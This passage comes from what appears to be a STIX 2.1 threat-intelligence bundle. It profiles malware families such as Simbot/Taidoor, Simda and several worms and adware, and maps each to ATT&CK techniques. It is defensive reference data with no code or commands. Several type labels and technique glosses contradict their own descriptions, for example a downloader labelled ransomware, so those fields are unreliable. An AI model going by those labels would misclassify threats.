      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.P2P.Silly",
        "P2P-Worm.Win32.Silly",
        "Win32/SillyP2P"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sillyp2P",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sillyp2p"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e84dd04-33be-5635-a4a0-97b6dba31d8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7223f74-6b4d-585c-9bbe-29c9cef696d5",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyp2P exhibits technique T1570 (Lateral Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10fb070b-14ba-55b6-9aef-630e99ae1095",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7223f74-6b4d-585c-9bbe-29c9cef696d5",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyp2P exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49383f9a-b187-5dcf-afdf-683aeb006527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7223f74-6b4d-585c-9bbe-29c9cef696d5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillyp2P exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63648ce3-4d92-58eb-8c3f-6f69cc0ff601",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sillysharecopy",
      "description": "Worm:Win32/Sillysharecopy is a heuristic detection name for a rudimentary, heavily repackaged class of computer worms that propagate primarily by copying themselves to removable drives (USB flash drives) and open network shares. Unlike sophisticated exploits that use vulnerabilities like EternalBlue, Sillysharecopy relies on simplistic file copying and the abuse of Windows AutoRun features or tricking users into clicking on disguised executables to spread.<br><br><b>Understanding Simplistic Network Worms</b><br>To an end-user, an infection might not be immediately obvious, but they may notice their USB drives suddenly containing hidden files or strangely named folders that are actually executable `.exe` files. For a network administrator, these worms are a persistent nuisance. They don't typically cause massive immediate destruction, but they create a constant low-level spread of malware across the organization, often acting as a vector for secondary payloads.<br><br><b>Execution and Spreading Mechanics</b><br>The initial infection often occurs when a user plugs in a compromised USB drive (`T1091`) or opens an infected file from an open network share (`T1021.002`). When the worm executes (`T1204.002`), it establishes persistence, often by modifying Registry Run keys or dropping a copy of itself into the Startup folder (`T1547.001`). The worm then continually scans the system for newly attached removable drives or mapped network shares (`T1046`). When found, it copies its executable to the root of the drive (`T1570`). It frequently hides the legitimate folders on the drive and creates malicious `.exe` files with the same names and folder icons, tricking the next user into executing the worm when they attempt to open their files (`T1036`). It may also drop an `autorun.inf` file to attempt automatic execution on older systems.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is persistent infection and the potential for secondary payload delivery. Host-based IoCs include EDR alerts for anomalous processes constantly enumerating attached drives and copying `.exe` or `.vbs` files to the root directories of removable media and network shares. Users will report that their folders on USB drives have 'turned into applications.' (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sillysharecopy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sillysharecopy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb0def8f-42b3-5eb8-aaea-3bc3cae23dd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63648ce3-4d92-58eb-8c3f-6f69cc0ff601",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillysharecopy exhibits technique T1091 (Replication Through Removable Media (USB spreading))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75f98eca-069b-53f6-9829-7ab49f68ada9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63648ce3-4d92-58eb-8c3f-6f69cc0ff601",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillysharecopy exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares (Spreading via network shares))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5d6584d-d8ec-5ed3-9e97-86a2b51fbb02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63648ce3-4d92-58eb-8c3f-6f69cc0ff601",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillysharecopy exhibits technique T1036 (Masquerading (Disguising executables as folders))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e42bc231-5139-5da9-9478-420fbeca6a32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63648ce3-4d92-58eb-8c3f-6f69cc0ff601",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sillysharecopy exhibits technique T1570 (Lateral Tool Transfer (Copying the worm))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simbot",
      "description": "Backdoor:Win32/Simbot (prominently tracked by US-CERT / CISA as the Taidoor RAT, and cataloged across vendor telemetry as BKDR_SIMBOT, Trojan:Win32/Simbot, or Backdoor.Win32.Simbot) is a sophisticated remote access trojan (RAT) and cyber espionage backdoor associated with Chinese state-sponsored advanced persistent threat (APT) actors. Featured prominently in CISA Alert AA20-216A (MAR-10292089) and documented jointly by the CISA, FBI, and DoD, Simbot/Taidoor is deployed in targeted spear-phishing campaigns against government agencies, defense contractors, and geopolitical think tanks. Simbot consists of a loader (frequently disguised as a modified svchost.dll) and an encrypted payload that executes solely in memory. It uses custom RC4 and AES stream ciphers and proprietary network handshake headers (such as 'F::') to communicate with C2 servers, allowing adversaries to execute arbitrary shell commands, exfiltrate sensitive files, manipulate processes, and stage lateral movement across enterprise networks. (Observed samples in benchmark: 634)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Simbot",
        "Backdoor:Win32/Simbot",
        "Taidoor",
        "BKDR_SIMBOT",
        "Trojan:Win32/Simbot",
        "Taidoor RAT",
        "Backdoor.Win32.Simbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-216A"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c23e088-46bf-5afc-916a-12c50709d00b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2fd1fec-d300-5ce7-abad-3b489f5110dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25ce3b21-6448-595c-904a-51b9a9148887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--717a65b6-74aa-585c-9a51-3aaf0408640e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1573.001 (Encrypted Channel: Symmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7ab44a0-09d9-5597-a56b-df0851decae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33be5638-1a35-5763-bf0d-adff397e346c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7d8b089-6600-5ef2-9d30-85ab6908580e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--98bd44c3-4661-50be-9e71-5846ac0c94eb",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simbot exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2dd8c0f0-7967-50d9-b913-43eabffa5856",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simda",
      "description": "Simda is a versatile, highly evasive modular botnet and credential-theft trojan first detected in 2009. Engineered with aggressive anti-analysis routines, sandbox-detection algorithms, and server-side polymorphism, Simda was operated as a commercial pay-per-install (PPI) infrastructure, renting out compromised computers to secondary cybercriminals to distribute banking trojans, cryptocurrency miners, and search-hijacking adware.\n\nAt its peak, the Simda botnet enslaved an estimated 770,000 computers worldwide. In April 2015, the INTERPOL Global Complex for Innovation (IGCI) in Singapore coordinated 'Operation Simda'\u2014a landmark international law enforcement strike in conjunction with the FBI, the Dutch National High Tech Crime Unit (NHTCU), the Police Grand-Ducale of Luxembourg, Russian Ministry of Internal Affairs (Department 'K'), Microsoft's Digital Crimes Unit, Kaspersky Lab, and Trend Micro. The operation seized 14 central command servers across the Netherlands, the United States, Luxembourg, Russia, and Poland, severing the operators' control and effectively dismantling the botnet. Kaspersky subsequently deployed a public IP-lookup portal allowing victims worldwide to check for infections. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Simda",
        "Win32/Simda",
        "Trojan.Simda",
        "Backdoor.Simda"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simda"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8638064-1283-59b2-893a-712646312d23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dd8c0f0-7967-50d9-b913-43eabffa5856",
      "target_ref": "attack-pattern--f662d7a7-98b1-57cb-bcf6-5fc8d645bd99",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simda exhibits technique T1562.002 (Impair Defenses: Disable Windows Event Logging (Hosts file modification for traffic redirection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5042815-7ad0-50b9-987f-e81f7e00cbbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dd8c0f0-7967-50d9-b913-43eabffa5856",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simda exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2758109-991b-5479-ac00-c3cedf1690af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dd8c0f0-7967-50d9-b913-43eabffa5856",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simda exhibits technique T1105 (Ingress Tool Transfer (Acting as a PPI loader for other malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--832c3f48-7f01-59f2-899e-9e51bfc0efcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dd8c0f0-7967-50d9-b913-43eabffa5856",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simda exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simple",
      "description": "Trojan:Win32/Simple is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Simple</b><br>To an end-user, a Simple infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Simple is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Simple is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Simple frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Simple reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simple",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simple"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7871a05-0b3f-5d7a-9e74-447fd771c77f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simple exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44074839-8531-5413-8661-c643b4c62b6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simple exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9752a309-e805-54f6-ad34-6b3dd06cadf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simple exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc7e0b54-db38-5279-80eb-a9ce938f273f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simple exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc76a92b-0c55-516f-999e-89afa664e1ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75f22a05-a66f-59ee-af40-bd41172b898f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simple exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21f8e843-c039-5ada-8b3e-c05b66f8f329",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simpleregistrycleaner",
      "description": "Adware:Win32/Simpleregistrycleaner is a classic example of 'Rogueware' or a Fake System Optimizer. It operates on a model of deception and extortion. While masquerading as a legitimate utility to clean the Windows Registry and speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' license to fix non-existent problems (`T1189`).<br><br><b>Understanding Simpleregistrycleaner (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly warning that the computer is 'Critically Damaged' or 'Infected'. For an IT department, Simpleregistrycleaner is a nuisance that generates false helpdesk tickets and often bundles secondary adware. The software itself is largely useless, and its registry 'cleaning' can sometimes cause actual system instability by deleting necessary configuration keys.<br><br><b>Execution and Deception Mechanics</b><br>Simpleregistrycleaner is heavily distributed via aggressive affiliate marketing, pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid 'scan' that is guaranteed to find hundreds or thousands of 'errors' (which are often just temporary files, benign registry keys, or completely fabricated entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure the scary pop-up warnings appear every time the computer boots. It often disables the Windows Task Manager or Registry Editor to prevent the user from easily removing it (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the presence of the highly visible Simpleregistrycleaner application, unexpected Scheduled Tasks designed to run the scanner at boot, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways and affiliate tracking networks. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simpleregistrycleaner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simpleregistrycleaner"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f83655fd-2aad-54fb-aecf-96c25cc1fd2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21f8e843-c039-5ada-8b3e-c05b66f8f329",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simpleregistrycleaner exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6dd5cbb8-e9f2-55f7-bf96-b4881d3d5b03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21f8e843-c039-5ada-8b3e-c05b66f8f329",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simpleregistrycleaner exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d5ae58d-e98f-5df0-8b9f-b06c06e6bac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21f8e843-c039-5ada-8b3e-c05b66f8f329",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simpleregistrycleaner exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b0deffb-120e-5928-bf50-6074d17eef50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simplified",
      "description": "Adware:Win32/Simplified is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Simplified Adware</b><br>To an end-user, a Simplified infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Simplified is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Simplified extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simplified",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simplified"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a3e3b0-6a0e-5582-82a9-da282a767c18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b0deffb-120e-5928-bf50-6074d17eef50",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplified exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65deb7e9-3c94-5dd6-85d9-9dd882bac38b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b0deffb-120e-5928-bf50-6074d17eef50",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplified exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6587cb65-6958-50bd-a5a9-05a0566e125a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b0deffb-120e-5928-bf50-6074d17eef50",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplified exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f425927f-58e4-5582-b042-93a86b8bcf7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
